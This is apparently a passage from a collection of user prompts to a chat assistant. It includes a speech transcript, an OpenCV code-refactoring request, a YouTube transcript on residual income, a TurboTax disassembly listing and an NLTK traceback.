four jobs\n\n26\n00:01:23,966 --> 00:01:26,366\nand completely dedicated her life\n\n27\n00:01:26,800 --> 00:01:28,366\ninto making mine better\n\n28\n00:01:28,733 --> 00:01:32,166\nso to me she is the definition of a strong woman\n\n29\n00:01:32,766 --> 00:01:34,133\nand I love her so much\n\n30\n00:01:34,133 --> 00:01:37,099\nbecause she's taught me those values so much\n\n31\n00:01:38,666 --> 00:01:39,499\nthank you\n\n32\n00:01:41,133 --> 00:01:44,166\nI have been acting my entire life\n\n33\n00:01:44,166 --> 00:01:47,799\nand I have known since I was 1st on barney\n\n34\n00:01:47,800 --> 00:01:50,200\nyou know that purple Dinosaur that I hung out with\n\n35\n00:01:50,900 --> 00:01:53,500\nhe's great you guys are so motivating\n\n36\n00:01:53,500 --> 00:01:55,400\nI feel like I can say anything\n\n37\n00:01:57,966 --> 00:01:58,899\nwhen I was 11\n\n38\n00:01:59,066 --> 00:02:00,599\nthe point being is when I was\n\n39\n00:02:00,733 --> 00:02:02,699\n7 I wanted to be an actress\n\n40\n00:02:02,766 --> 00:02:04,733\nand I wanted to live my dream\n\n41\n00:02:05,200 --> 00:02:06,266\nand when I was 11\n\n42\n00:02:06,266 --> 00:02:09,166\nI had a casting director tell me that I wasn't strong\n\n43\n00:02:09,166 --> 00:02:10,799\nenough to carry my own show\n\n44\n00:02:11,333 --> 00:02:12,133\nI end\n\n45\n00:02:12,900 --> 00:02:15,266\nI'm sure all of you have been told that\n\n46\n00:02:15,266 --> 00:02:16,599\nyou don't have what it takes\n\n47\n00:02:16,600 --> 00:02:18,000\nand that you may not be good enough\n\n48\n00:02:18,000 --> 00:02:20,100\nand you don't have enough people supporting you\n\n49\n00:02:20,133 --> 00:02:22,333\nand you're being told all of these things when\n\n50\n00:02:22,333 --> 00:02:23,933\ndeep down it's all you wanna do\n\n51\n00:02:23,933 --> 00:02:25,766\nyou wanna be a part of something great\n\n52\n00:02:25,766 --> 00:02:27,466\nyou wanna make something great\n\n53\n00:02:28,133 --> 00:02:30,466\nand it does more than knock the wind out of you\n\n54\n00:02:30,466 --> 00:02:32,399\nit crushes you when people try\n\n55\n00:02:32,466 --> 00:02:34,366\nto tell you that you're not good enough\n\n56\n00:02:35,000 --> 00:02:36,466\nand it almost did for me\n\n57\n00:02:36,466 --> 00:02:40,399\nbut there was my mom next to me stronger than ever\n\n58\n00:02:40,400 --> 00:02:42,866\nand she said the most important thing\n\n59\n00:02:43,400 --> 00:02:45,866\nis to always trust in myself\n\n60\n00:02:46,000 --> 00:02:49,866\nif I have if I'm doing something because I love it\n\n61\n00:02:50,166 --> 00:02:51,933\nI should do it because I love it\n\n62\n00:02:51,933 --> 00:02:53,666\nand I believe I can do it\n\n63\n00:02:54,466 --> 00:02:56,566\nso she told me to keep going\n\n64\n00:02:57,100 --> 00:02:57,900\nthank you\n\n65\n00:02:59,933 --> 00:03:03,699\nshe told me and she taught me to turn the other cheek\n\n66\n00:03:03,966 --> 00:03:07,533\nand let the credits earn let the critics be critics\n\n67\n00:03:07,800 --> 00:03:12,133\nand let us just trust ourselves so for me\n\n68\n00:03:13,066 --> 00:03:13,866\nthank you\n\n69\n00:03:14,566 --> 00:03:17,099\ntwo years later I got my own show\n\n70\n00:03:17,366 --> 00:03:19,133\nand the 1st thought\n\n71\n00:03:19,166 --> 00:03:21,333\nthe 1st thought wasn't oh man\n\n72\n00:03:21,333 --> 00:03:22,866\nthat girl when I was 11\n\n73\n00:03:22,866 --> 00:03:24,766\nsaid I wouldn't carry my own show\n\n74\n00:03:25,366 --> 00:03:27,933\nand I did I mean I thought about that for a little bit\n\n75\n00:03:27,933 --> 00:03:29,466\nbut I thought about what my mom said\n\n76\n00:03:29,466 --> 00:03:31,333\nmy mom was like you have to trust yourself\n\n77\n00:03:31,333 --> 00:03:34,266\nand I realized if I didn't believe that I could do it\n\n78\n00:03:34,733 --> 00:03:37,299\nI wouldn't be able to be here\n\n79\n00:03:37,466 --> 00:03:38,966\nand I have I'm gonna\n\n80\n00:03:38,966 --> 00:03:41,166\nI'm gonna say I live a very blessed life\n\n81\n00:03:41,166 --> 00:03:44,266\nI have so much to be thankful for\n\n82\n00:03:44,266 --> 00:03:47,399\nand a lot of you are a big part of inspiring me\n\n83\n00:03:47,400 --> 00:03:48,733\nbecause I don't think you get it\n\n84\n00:03:48,733 --> 00:03:50,466\nand maybe you're not told enough\n\n85\n00:03:51,100 --> 00:03:53,366\nbut you inspire me to be better\n\n86\n00:03:53,966 --> 00:03:56,699\nand we should inspire each other to be better\n\n87\n00:04:04,133 --> 00:04:07,766\nI'm surrounded by people who are supposed to guide me\n\n88\n00:04:07,766 --> 00:04:09,333\nand some of them have\n\n89\n00:04:09,666 --> 00:04:10,966\nand others haven't\n\n90\n00:04:11,566 --> 00:04:12,499\nthey pressure me\n\n91\n00:04:12,500 --> 00:04:13,800\nthere's so much pressure\n\n92\n00:04:13,800 --> 00:04:17,266\nyou gotta be sexy you gotta be cute you gotta be nice\n\n93\n00:04:17,266 --> 00:04:19,099\nyou gotta be all these things\n\n94\n00:04:20,933 --> 00:04:22,466\nand I'm sure you can all relate\n\n95\n00:04:22,466 --> 00:04:24,866\nyou all have pressure that you have to deal with\n\n96\n00:04:24,866 --> 00:04:26,499\nevery day I'm sure\n\n97\n00:04:26,500 --> 00:04:27,566\nwith school with work\n\n98\n00:04:27,566 --> 00:04:29,599\nwith friends with parents with family\n\n99\n00:04:29,600 --> 00:04:32,300\nwith parents I know sometimes with mine\n\n100\n00:04:33,266 --> 00:04:36,333\nthey tell me what to wear how to look\n\n101\n00:04:36,600 --> 00:04:38,766\nwhat I should say how I should be\n\n102\n00:04:39,100 --> 00:04:42,100\nuntil recently I had given into that pressure\n\n103\n00:04:43,366 --> 00:04:45,266\nI lost sight of who I was\n\n104\n00:04:46,466 --> 00:04:49,333\nI listen to opinions of people\n\n105\n00:04:49,766 --> 00:04:52,766\nand I tried to change who I am because I thought\n\n106\n00:04:53,100 --> 00:04:55,200\nthe others would accept me for it\n\n107\n00:04:55,666 --> 00:04:58,366\nand I realized I don't know how to be\n\n108\n00:04:59,000 --> 00:05:00,766\nanything but myself\n\n109\n00:05:07,000 --> 00:05:07,800\nand\n\n110\n00:05:08,133 --> 00:05:10,299\nall I really want you to know\n\n111\n00:05:10,766 --> 00:05:13,066\nis that you are changing the world\n\n112\n00:05:13,066 --> 00:05:14,266\nI'm not changing the world\n\n113\n00:05:14,266 --> 00:05:17,466\nyou're changing the world and that's amazing\n\n114\n00:05:20,500 --> 00:05:21,366\nplease\n\n115\n00:05:22,000 --> 00:05:24,600\nplease just be kind to each other\n\n116\n00:05:25,133 --> 00:05:28,733\nand love and inspire people because let's do it\n\n117\n00:05:28,733 --> 00:05:29,399\nlet's do it\n\n118\n00:05:29,400 --> 00:05:32,266\nlet's change the game let's change the game\n\n119\n00:05:37,100 --> 00:05:40,466\nthe most important thing is that we learn\n\n120\n00:05:40,500 --> 00:05:42,733\nand we continue to learn from each other\n\n121\n00:05:43,200 --> 00:05:44,933\nplease stay true to yourself\n\n122\n00:05:45,100 --> 00:05:47,000\nplease just remain who you are\n\n123\n00:05:47,000 --> 00:05:49,333\nand know that we have each other's back\n\n124\n00:05:49,333 --> 00:05:50,966\nall of us have each other's back\n\n125\n00:05:58,300 --> 00:06:00,133\nI'd be lying if I said that I've never\n\n126\n00:06:00,133 --> 00:06:02,399\ntried to make myself better by giving in\n\n127\n00:06:02,400 --> 00:06:03,500\nbecause I have\n\n128\n00:06:03,533 --> 00:06:05,666\nbut I've Learned from my actions\n\n129\n00:06:06,000 --> 00:06:08,666\nand for all the things I've done I'm proudest of that\n\n130\n00:06:08,733 --> 00:06:10,566\nI've Learned from my mistakes\n\n131\n00:06:11,500 --> 00:06:13,166\nI want you to know what it's like that\n\n132\n00:06:13,166 --> 00:06:14,299\nI know what it's like\n\n133\n00:06:14,733 --> 00:06:16,599\nfiguring out what types of friends you have\n\n134\n00:06:16,600 --> 00:06:19,133\nyou are who you surround yourself with\n\n135\n00:06:20,666 --> 00:06:21,766\nso I just want to say\n\n136\n00:06:21,766 --> 00:06:23,699\nI hope I can inspire each and every\n\n137\n00:06:23,700 --> 00:06:25,533\none of you to just trust yourselves\n\n138\n00:06:25,533 --> 00:06:27,799\nand to love and to be loved\n\n139\n00:06:32,300 --> 00:06:36,000\nand thank you for allowing me to come up and ramble\n\n140\n00:06:36,000 --> 00:06:37,266\nand talk to you guys\n\n141\n00:06:37,266 --> 00:06:40,066\nbecause this is such a beautiful thing you're doing\n\n142\n00:06:40,100 --> 00:06:42,100\nbe proud of yourselves\n\n143\n00:06:42,200 --> 00:06:43,566\nthis is great" -'Rewrite this python code cleanly and to work as a function like the example given afterwards.\nCode to rewrite : \nimport os\nimport sys\nimport imutils\nimport numpy as np\nsys.path.append(os.getcwd() + "/../") #ce truc dégueulasse à été fait par Tim, je ne cautionne pas du tout\nimport main\nimport cv2\n#cali\\_1\nmtx = np.array([[1.19126136e+03, 0.00000000e+00, 9.59240007e+02], [0.00000000e+00, 1.11365936e+03, 5.27377810e+02], [0.00000000e+00, 0.00000000e+00, 1.00000000e+00]])\ndist = np.array([[ 0.11751622, -0.4181012, -0.0034592, 0.0087792, 0.33441168]])\n\n#cali\\_2\n#mtx = np.array([[1.19309855e+03, 0.00000000e+00, 7.84314808e+02], [0.00000000e+00, 1.11766414e+03, 5.62846555e+02], [0.00000000e+00, 0.00000000e+00, 1.00000000e+00]])\n#dist = np.array([[ 0.0091465, 0.15736172, -0.0010599, -0.00085758, -0.43462203]])\nwebcam = cv2.VideoCapture(\'trasnslation22s.video\')\n#webcam = cv2.VideoCapture(0, cv2.CAP\\_V4L)\n#img = webcam.read()\nimg = cv2.imread(\'1.jpeg\')\n\nh, w = img.shape[:2]\nwebcam.set(cv2.CAP\\_PROP\\_FRAME\\_WIDTH, w)\nwebcam.set(cv2.CAP\\_PROP\\_FRAME\\_HEIGHT, h)\nnewcameramtx, roi = cv2.getOptimalNewCameraMatrix(mtx, dist, (w,h), 1, (w,h))\nwhile True:\n check, frame = webcam.read()\n if check:\n \n # undistort\n dst = cv2.undistort(frame, mtx, dist, None, newcameramtx)\n # crop the image\n x, y, w, h = roi\n frame = dst[y:y+h, x:x+w]\n \n frame = imutils.rotate(frame, 180)\n main.function(frame)\n frame = cv2.resize(frame, (860, 540))\n cv2.imshow(\'video\', frame) \n \n key = cv2.waitKey(1)\n if key==27:\n break\n\nwebcam.release()\ncv2.destroyAllWindows()\n\nExample code :\nimport cv2\nfrom utils import toolkit\nimport numpy as np\nfrom pathlib import Path \nfrom imutils.video import WebcamVideoStream\nfrom imutils import rotate\nfrom rich import print as rprint\nfrom scipy.signal import savgol\\_filter\n\ndef coord\\_tag(dict,id1,id2,size1,size2,conn2=None,filter=False,src\\_=0):\n\n # Load the necessary side functions and matrix for calibration\n tool = toolkit()\n cam\\_mat = tool.mtx\n dist\\_coef = tool.dist\n y1 = 70\n\n # Loading the dictionnary\n marker\\_dict = cv2.aruco.Dictionary\\_get(tool.ARUCO\\_DICT[dict])\n\n # Savitzsky-Golay\'s filter parameters\n y\\_raw\\_value = []\n window\\_size = 11\n sample\\_size = 50\n polynomial\\_order = 2\n\n # Load the video stream\n vs = WebcamVideoStream(src=src\\_).start()\n\n # Create the parameters of the camera\n param\\_markers = cv2.aruco.DetectorParameters\\_create()\n\n # Displayed text parameters\n fontScale = 1.5\n precision = 3\n\n # Program loop \n while True:\n\n # Reading the frame\n frame = vs.read()\n\n # Rotating the image (not important)\n frame =rotate(frame,180)\n\n # Adding a grey filter onto the frame\n gray\\_frame = cv2.cvtColor(frame, cv2.COLOR\\_BGR2GRAY)\n\n # Detect the tags on the image\n corners, ids, \\_ = cv2.aruco.detectMarkers(\n gray\\_frame, \n marker\\_dict,\n parameters=param\\_markers\n )\n\n \n\n try:\n\n # To know which rvec to correspond to which id we make a dictionnary\n # Let\'s flatten the ids array\n ids\\_flat = [ ui[0] for ui in ids]\n\n # Make a dictionnary for ease of use \n ind\\_id = { id: i for (i,id) in enumerate(ids\\_flat) }\n\n # Create two separate lists for the markers with different ids and sizes\n corners1 = corners[ind\\_id[id1]]\n corners2 = corners[ind\\_id[id2]]\n \n \n # If the 2 tags specified have been detected then we enter the main program\n if ([id1] in ids) and ([id2] in ids):\n\n # Estimate the poses of the markers\n rvecs1, tvecs1, \\_ = cv2.aruco.estimatePoseSingleMarkers(\n corners1,\n size1, \n cam\\_mat,\n dist\\_coef)\n rvecs2, tvecs2, \\_ = cv2.aruco.estimatePoseSingleMarkers(\n corners2,\n size2, \n cam\\_mat,\n dist\\_coef)\n\n # Compute the homogeneous matrix \n # Normally noglitches can happen here but be careful if there are several \n # reference tags with the same id \n \n # Since there is only one tag per pose estimation we use index 0\n H = tool.Homogeneous(rvecs1[0],tvecs1[0])\n \n # Pass tvec2 as homogenous\n tv = np.array([\n tvecs2[0][0][0],\n tvecs2[0][0][1],\n tvecs2[0][0][2],\n 1])\n\n # Compute the tag 2 coordinates in tag 1 system of coordinates\n Tvec\\_id2\\_ref\\_id1 = np.dot(tv,H)\n Tvec\\_id2\\_ref\\_id1 = Tvec\\_id2\\_ref\\_id1[0:3]/Tvec\\_id2\\_ref\\_id1[3]\n \n # Draw pose of the tags : red = Ox | green = Oy | blue = Oz \n frame = cv2.aruco.drawDetectedMarkers(frame, corners, ids)\n frame = cv2.drawFrameAxes(frame, cam\\_mat, dist\\_coef, rvecs1, tvecs1, 0.1, 1)\n frame = cv2.drawFrameAxes(frame, cam\\_mat, dist\\_coef, rvecs2, tvecs2, 0.1, 1)\n\n # Extracting the bottom right coordinates of Tag 2 to plot text\n corners2 = corners2[0].reshape(4,2)\n corners2 = corners2.astype(int)\n bottom\\_right = corners2[2].ravel()\n\n # Display the newly computed coordinates of Tag 2 \n cv2.putText(\n frame,\n f"x:{round(Tvec\\_id2\\_ref\\_id1[0],precision)} y: {round(Tvec\\_id2\\_ref\\_id1[1],precision)} ",\n bottom\\_right,\n cv2.FONT\\_HERSHEY\\_PLAIN,\n fontScale,\n (255, 0, 255),\n 2,\n cv2.LINE\\_AA,\n )\n\n # Sometimes ids is None and we get a Type error because of len(ids) but osef\n except TypeError as v:\n pass\n except Exception as e:\n rprint("[bold red] {} [/bold red]".format(e))\n pass\n\n # Display the frame\n cv2.imshow("Table", frame) \n key = cv2.waitKey(1)\n \n # Close the frame is "q" is pressed\n if key == ord("q"):\n conn2.send(None)\n break\n\n # Finish the program cleanly\n cv2.destroyAllWindows()\n vs.stop()' -"same for this one:\n\nBusiness Builder Challenge Day 3 - How To Create Residual Income - YouTube\nhttps://www.youtube.com/watch?v=ywMwZzDz4f0\n\nTranscript:\n(00:00) all right you're on day three of the business builder challenge where i give you non-stop actual technical information on how to start your own location independent high margin high income low work alpha 2.0 business in this video i'm going to give you another clip from a business course that i did a little while ago on residual income can you make residual income through an altitudinal business yes but not the way you might think some income is 100 residual some of it is 0 residual but there's other income that\n(00:31) is kind of a percentage maybe 70 percent residual 50 residual and the more income you can create that is partially residual the less you have to work to maintain your lifestyle it's pretty nice take it away myself [Music] okay now we're going to talk about something awesome this is awesome are you ready are you ready for awesomeness i'm ready residual income what does residual income mean well that means money that comes in without you having to work for it so an example would be you have an investment in some kind of\n(01:11) stock or bond or mutual fund or etf and you sit on your ass and you get money every month you have to work really i mean you got to watch it maybe but that's it residual income now there's a lot of confusion about what residual income is in terms of business everyone understands investment income like if you buy a house you pay it off and you sit on your butt and you have a renter who rents it and pays you money every month because it's a paid off house people get that there's a lot of confusion about\n(01:35) residual income when it comes to businesses for example i'll get guys who come to me and say wow you sell ebooks that's residual income you just write a book and you put it online and you sit back the rest of your life and you get free money you have to do any work is that true the answer is yes and no so in terms of business residual income is not a yes or no binary one or zero thing it's a percentage you can have a business that has a percentage residual for example you can have a business where you\n(02:09) do some work but not a lot of work maybe you put in 10 hours a month and it pays you a hunk of money every month that's a lot of money that is a partially residual business not a hundred percent because you got to put in those 10 hours okay so it's partially residual not 100 100 residual would be you buy a bond you buy a bond and the bond pays you a dividend or percentage every year or every month and you do literally no work that's a hundred percent residual zero percent residual would be a corporate job typical job so you have a\n(02:39) job you have to go in and work at your job if you don't go in and work you don't get paid and you get zero money so that is a zero percent residual income source would be your job makes sense so between 100 and 0 you have a range so using again my examples and again this is just an example i'm going to use my examples in terms of the three businesses that i have of what percentage residual they are okay we'll go through each one pretty simple so in terms of computer consulting computer consulting i don't do that anymore you\n(03:07) did a long time ago business consulting what how residual is it if i am performing consulting services so if i'm going into a company and doing work and then they pay me is it residual no it's not residual at all right right right okay at all so this is essentially zero percent residuals but that zero percent now you could argue that maybe it's zero to five actually let's do that let's do zero to five percent you could make the argument and some people in the consulting industry have done this and i don't disagree that you\n(03:41) could charge a retainer which by the way i do for a lot of my clients you could charge a monthly retainer it's a flat fee and many months you don't need to work at all work very little and you'll still get that retainer attorneys do it too so you could argue that maybe it's five percent residual in that maybe you could charge them some money and in a given month they might not call you they could they could at any time and you have to respond or else you'll lose the income so it's still not residual but\n(04:04) you could argue okay zero to five percent residual now why would i do this why would i build this business if it was such a low residual well this is another topic i'm not going to get into in this course about business models in terms of model a model b and model c not going to go into that today but the bottom line to this is consulting is one of the advantages of consulting is that you can make very high income very quickly so i went from pretty much zero when i was 24 years old to a six figure income by the time i was\n(04:34) 27 three years doing consulting because consulting is a very high margin service and we'll talk about that in the next section i can charge a lot of money for my services i don't need a college degree i don't need a special license i don't need to hire employees i don't have any expenses so all the stuff goes into my pocket so consulting is one example of a very zero to the money business that's the good news about this the bad news is that it's not residual if i don't consult i\n(05:02) don't get paid so you're doing a trade-off in some cases depending on the business that you start now is this alpha 2.0 compatible or not doesn't matter residual aspects of your business are completely up to you whether or not you want them or not totally up to you it can be alpha this is alpha 2.\n(05:18) 0 income because i can do this location dependent anywhere in the world i want so it still is compatible with this model it's just not residual but the plus side is i make a lot of money or i can't make sense cool cool now let's go over to black dragon my bd business how much residual factors does this have well let's talk about that for a minute so i sell ebooks the guy who says hey it's ebooks or residual income you write the book and then you sell it you sit back and you get money is he right yes he's partially right\n(05:46) here's a question let's say and i went through all the income streams i had in the bd business in a prior lesson okay let's say starting tomorrow morning i decided to retire now i will never retire i love to work i'll back off my work hours but i will never retire working is awesome i love working working is one of my greatest joys and i have strong goals and strong mistakes so i'm never gonna retire but let's say i got hit in the head with a truck and i woke up and i was a different person i said okay i'm done\n(06:13) i'm not gonna do any more work i'm just gonna go to the bahamas and sit in a hut and watch porn and do that for the rest of my life and do nothing else and i'm not gonna work i'm not gonna check email i'm not gonna write blog posts i'm not gonna make social media posts i'm not gonna talk to my audience if someone calls me i'm gonna ignore it let's say i did that okay in the bd business which generates a lot of money per month it's a very profitable strong business would my\n(06:38) income go from that point to zero would it do that immediately as soon as i went to the bahamas no it would keep going matter of fact the next month i'd probably make the same amount of money and maybe the following month i'd make the same amount of money but would that income maintain if i was completely off the internet vanished off the face of the earth no at some point that income would start sloping downward eventually now it may never go to zero it might go from a very big number to a much smaller number and that smaller\n(07:04) number would maintain in perpetuity so that's residual income in that respect but the income i currently make would not maintain if i wasn't around okay it wouldn't so that is a partially residual business how long would it take for me to do no work for the money to go from here down to here i don't know for sure i've made some estimates my estimate is about two to three years so it would go down every month for two to three years and finally it would level out of this much lower figure but for\n(07:31) the next two or three years i could rely on some residual income so my best guesstimate based on my what i have and the numbers i've got in my business and things like that and my business experience is that this would be 70 residual it's not a hundred percent it's about 70 percent which is good that's good and it's a good deal of money so it's okay but i can't rely on this for the rest of my life if i choose not to work i still have to be in front of my customers in front of my audience\n(07:57) on a regular basis doing blog posts publishing new products um being available to check email respond email questions things i have to kind of be around now you could argue i have to be around as much as i am that's true but again i'm trying to scale my business like i talked about last time okay so it's 70 residual not bad pretty good pretty good as compared to zero percent now again the question why wouldn't you do that over that because unlike this business this took a longer time to get to the money as i talked about i didn't\n(08:25) market this business at all in terms of spending money i did it i did it all based on blog posts and forum posts and things like that so it took me a year or two to get to the income point that i wanted where i was happy whereas this i made money really fast so that's a general mathematical formula you can rely upon the more residual a business is the longer it will tend to be to get to the income okay whereas the faster you get the income the less residual it tends to be there are a lot of exceptions that rule but that's\n(08:54) generally an accurate rule okay and this is a perfect example of this it took longer to get to the money here but a lot more residual it was very fast to get the money here not residual at all cool cool okay so the third business ccm this is very special this is my special business so ccm is where and i will go into detail about this in a future lesson don't worry ccm is where i market to the dead accounts of a given computer consulting company and then for two years i get 50 of the gross income of any business they receive off that\n(09:28) marketing so i work for about six weeks in terms of direct mail telemarketing things like that i do a big marketing blitz and then i sit back and i get a big check every month for two years i'm gonna go into detail about that if you're freaking out don't worry don't worry we'll get to it now the other beauty of this is that that work involved 95 of that work is outsourced i only do five percent of that work i only have to do a few things to make sure that business operates everything else is outsourced to other humans so i\n(09:56) do very little work and once i do the work i have to do zero work for the next two years to retain that income and to get new clients also takes very little work so this business is 95 residual 95 or close to it maybe you could argue 90 but damn near 95 if not more is residual i only have to do about five percent of work in that business to get to the money pretty awesome and again the question well why wouldn't i do this because it takes time to ramp up that kind of business because i have to develop marketing systems that\n(10:30) i know for a fact work and i'll go into more detail as we talk about this business so as you can see and i didn't do this on purpose i just did this by accident i have a pretty good spread i'm pretty diversified i have a high income low residual business i have a high income high residual business and i have a ridiculously residual business i have all three i've covered all the bases it's very likely in the next year two two three years i may even stop doing this and focus on these two which will\n(10:56) drop down to two companies but that's fine two is okay because these are so attractive with their residual models which means i resi relied on this income for a while until i hit these two which is fine and you may decide to do that maybe over time once you have three companies or four companies or two companies you may decide that one isn't really working for you anymore you delete that one you focus on either two or other three that's fine so again as you're designing your business which we're going to talk about in the next\n(11:19) section as you're designing your business from the ground up you want to give some thought to how much residual factor do you want to have for your income sources very important in terms of long-term goals in your life okay does that make sense it makes sense pretty cool okay that wraps it up for this section next section we're going to talk about how to actually start your business i'm going to go through all that stuff in detail i'll see you in a minute bye" -'That was very good! How about this one:\n\nTurboTax 2020`-[ExperimentServiceController getLocalExperimentSettings]:\n-> 0x10a0977b0 <+0>: pushq %rbp\n 0x10a0977b1 <+1>: movq %rsp, %rbp\n 0x10a0977b4 <+4>: subq $0x40, %rsp\n 0x10a0977b8 <+8>: movq %rdi, -0x8(%rbp)\n 0x10a0977bc <+12>: movq %rsi, -0x10(%rbp)\n 0x10a0977c0 <+16>: movq $0x0, -0x18(%rbp)\n 0x10a0977c8 <+24>: movq -0x8(%rbp), %rax\n 0x10a0977cc <+28>: movq 0x1bf4b65(%rip), %rsi ; "getExperimentSettingsFilePath"\n 0x10a0977d3 <+35>: movq %rax, %rdi\n 0x10a0977d6 <+38>: callq \\*0x1a9c4a4(%rip) ; (void \\*)0x00007fff204dd800: objc\\_msgSend\n 0x10a0977dc <+44>: movq %rax, %rdi\n 0x10a0977df <+47>: callq 0x10b45e656 ; symbol stub for: objc\\_retainAutoreleasedReturnValue\n 0x10a0977e4 <+52>: movq %rax, -0x20(%rbp)\n 0x10a0977e8 <+56>: movq 0x1bf9ad1(%rip), %rax ; (void \\*)0x00007fff803aff48: NSFileManager\n 0x10a0977ef <+63>: movq 0x1beb142(%rip), %rsi ; "defaultManager"\n 0x10a0977f6 <+70>: movq %rax, %rdi\n 0x10a0977f9 <+73>: callq \\*0x1a9c481(%rip) ; (void \\*)0x00007fff204dd800: objc\\_msgSend\n 0x10a0977ff <+79>: movq %rax, %rdi\n 0x10a097802 <+82>: callq 0x10b45e656 ; symbol stub for: objc\\_retainAutoreleasedReturnValue\n 0x10a097807 <+87>: movq %rax, -0x28(%rbp)\n 0x10a09780b <+91>: movq -0x28(%rbp), %rax\n 0x10a09780f <+95>: movq -0x20(%rbp), %rdx\n 0x10a097813 <+99>: movq 0x1beb25e(%rip), %rsi ; "fileExistsAtPath:"\n 0x10a09781a <+106>: movq %rax, %rdi\n 0x10a09781d <+109>: callq \\*0x1a9c45d(%rip) ; (void \\*)0x00007fff204dd800: objc\\_msgSend\n 0x10a097823 <+115>: cmpb $0x0, %al\n 0x10a097825 <+117>: je 0x10a09789e ; <+238>\n 0x10a09782b <+123>: movq -0x28(%rbp), %rax\n 0x10a09782f <+127>: movq -0x20(%rbp), %rdx\n 0x10a097833 <+131>: movq 0x1bec3b6(%rip), %rsi ; "contentsAtPath:"\n 0x10a09783a <+138>: movq %rax, %rdi\n 0x10a09783d <+141>: callq \\*0x1a9c43d(%rip) ; (void \\*)0x00007fff204dd800: objc\\_msgSend\n 0x10a097843 <+147>: movq %rax, %rdi\n 0x10a097846 <+150>: callq 0x10b45e656 ; symbol stub for: objc\\_retainAutoreleasedReturnValue\n 0x10a09784b <+155>: movq %rax, -0x30(%rbp)\n 0x10a09784f <+159>: cmpq $0x0, -0x30(%rbp)\n 0x10a097854 <+164>: je 0x10a09788e ; <+222>\n 0x10a09785a <+170>: movq 0x1bfa867(%rip), %rax ; (void \\*)0x000000010bc9f538: ExperimentSettings\n 0x10a097861 <+177>: movq %rax, %rdi\n 0x10a097864 <+180>: callq 0x10b45e5c0 ; symbol stub for: objc\\_alloc\n 0x10a097869 <+185>: movq -0x30(%rbp), %rdx\n 0x10a09786d <+189>: movq 0x1bf4adc(%rip), %rsi ; "initWithJson:"\n 0x10a097874 <+196>: movq %rax, %rdi\n 0x10a097877 <+199>: callq \\*0x1a9c403(%rip) ; (void \\*)0x00007fff204dd800: objc\\_msgSend\n 0x10a09787d <+205>: movq -0x18(%rbp), %rcx\n 0x10a097881 <+209>: movq %rax, -0x18(%rbp)\n 0x10a097885 <+213>: movq %rcx, %rdi\n 0x10a097888 <+216>: callq \\*0x1a9c41a(%rip) ; (void \\*)0x00007fff204df490: objc\\_release\n 0x10a09788e <+222>: xorl %eax, %eax\n 0x10a097890 <+224>: movl %eax, %esi\n 0x10a097892 <+226>: leaq -0x30(%rbp), %rcx\n 0x10a097896 <+230>: movq %rcx, %rdi\n 0x10a097899 <+233>: callq 0x10b45e686 ; symbol stub for: objc\\_storeStrong\n 0x10a09789e <+238>: movq -0x18(%rbp), %rdi\n 0x10a0978a2 <+242>: movq 0x1a9c407(%rip), %rax ; (void \\*)0x00007fff204dd690: objc\\_retain\n 0x10a0978a9 <+249>: callq \\*%rax\n 0x10a0978ab <+251>: xorl %ecx, %ecx\n 0x10a0978ad <+253>: movl %ecx, %edx\n 0x10a0978af <+255>: leaq -0x28(%rbp), %rdi\n 0x10a0978b3 <+259>: movq %rdx, %rsi\n 0x10a0978b6 <+262>: movq %rax, -0x38(%rbp)\n 0x10a0978ba <+266>: movq %rdx, -0x40(%rbp)\n 0x10a0978be <+270>: callq 0x10b45e686 ; symbol stub for: objc\\_storeStrong\n 0x10a0978c3 <+275>: leaq -0x20(%rbp), %rdi\n 0x10a0978c7 <+279>: movq -0x40(%rbp), %rsi\n 0x10a0978cb <+283>: callq 0x10b45e686 ; symbol stub for: objc\\_storeStrong\n 0x10a0978d0 <+288>: leaq -0x18(%rbp), %rdi\n 0x10a0978d4 <+292>: movq -0x40(%rbp), %rsi\n 0x10a0978d8 <+296>: callq 0x10b45e686 ; symbol stub for: objc\\_storeStrong\n 0x10a0978dd <+301>: movq -0x38(%rbp), %rax\n 0x10a0978e1 <+305>: movq %rax, %rdi\n 0x10a0978e4 <+308>: addq $0x40, %rsp\n 0x10a0978e8 <+312>: popq %rbp\n 0x10a0978e9 <+313>: jmp 0x10b45e5de ; symbol stub for: objc\\_autoreleaseReturnValue\n 0x10a0978ee <+318>: nop' -'---------------------------------------------------------------------------\nLookupError Traceback (most recent call last)\n~\\Anaconda3\\lib\\site-packages\\nltk\\corpus\\util.py in \\_\\_load(self)\n 83 try:\n---> 84 root = nltk.data.find(f"{self.subdir}/{zip\\_name}")\n 85 except LookupError:\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\data.py in find(resource\\_name, paths)\n 582 resource\\_not\\_found = f"\\n{sep}\\n{msg}\\n{sep}\\n"\n--> 583 raise LookupError(resource\\_not\\_found)\n 584 \n\nLookupError: \n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\n Resource omw-1.4 not found.\n Please use the NLTK Downloader to obtain the resource:\n\n >>> import nltk\n >>> nltk.download(\'omw-1.4\')\n \n For more information see: https://www.nltk.org/data.html\n\n Attempted to load corpora/omw-1.4.zip/omw-1.4/\n\n Searched in:\n - \'C:\\\\Users\\\\rockr/nltk\\_data\'\n - \'C:\\\\Users\\\\rockr\\\\Anaconda3\\\\nltk\\_data\'\n - \'C:\\\\Users\\\\rockr\\\\Anaconda3\\\\share\\\\nltk\\_data\'\n - \'C:\\\\Users\\\\rockr\\\\Anaconda3\\\\lib\\\\nltk\\_data\'\n - \'C:\\\\Users\\\\rockr\\\\AppData\\\\Roaming\\\\nltk\\_data\'\n - \'C:\\\\nltk\\_data\'\n - \'D:\\\\nltk\\_data\'\n - \'E:\\\\nltk\\_data\'\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\nDuring handling of the above exception, another exception occurred:\n\nLookupError Traceback (most recent call 